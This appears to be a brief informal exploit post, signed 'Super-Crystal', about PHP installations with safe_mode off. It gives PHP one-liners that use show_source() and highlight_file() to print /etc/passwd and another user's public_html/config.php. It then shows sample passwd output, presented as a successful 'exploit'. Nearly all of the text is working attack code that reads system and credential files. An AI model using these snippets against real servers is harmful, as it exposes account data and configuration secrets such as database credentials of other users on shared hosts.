Ahthoer:Super-Crystal
safe_mode off (tested)
<?
show_source ('/etc/passwd');
?>
Example exploit:
<?
show_source ('/home/user/public_html/config.php');
?>
-----------------------------
highlight_file()
<?
highlight_file ("/etc/passwd");
?>
exploit !!!
root:x:0:0:root:/root:/bin/bash
....
:)
greetz:php.net!
th4nx securityfocus
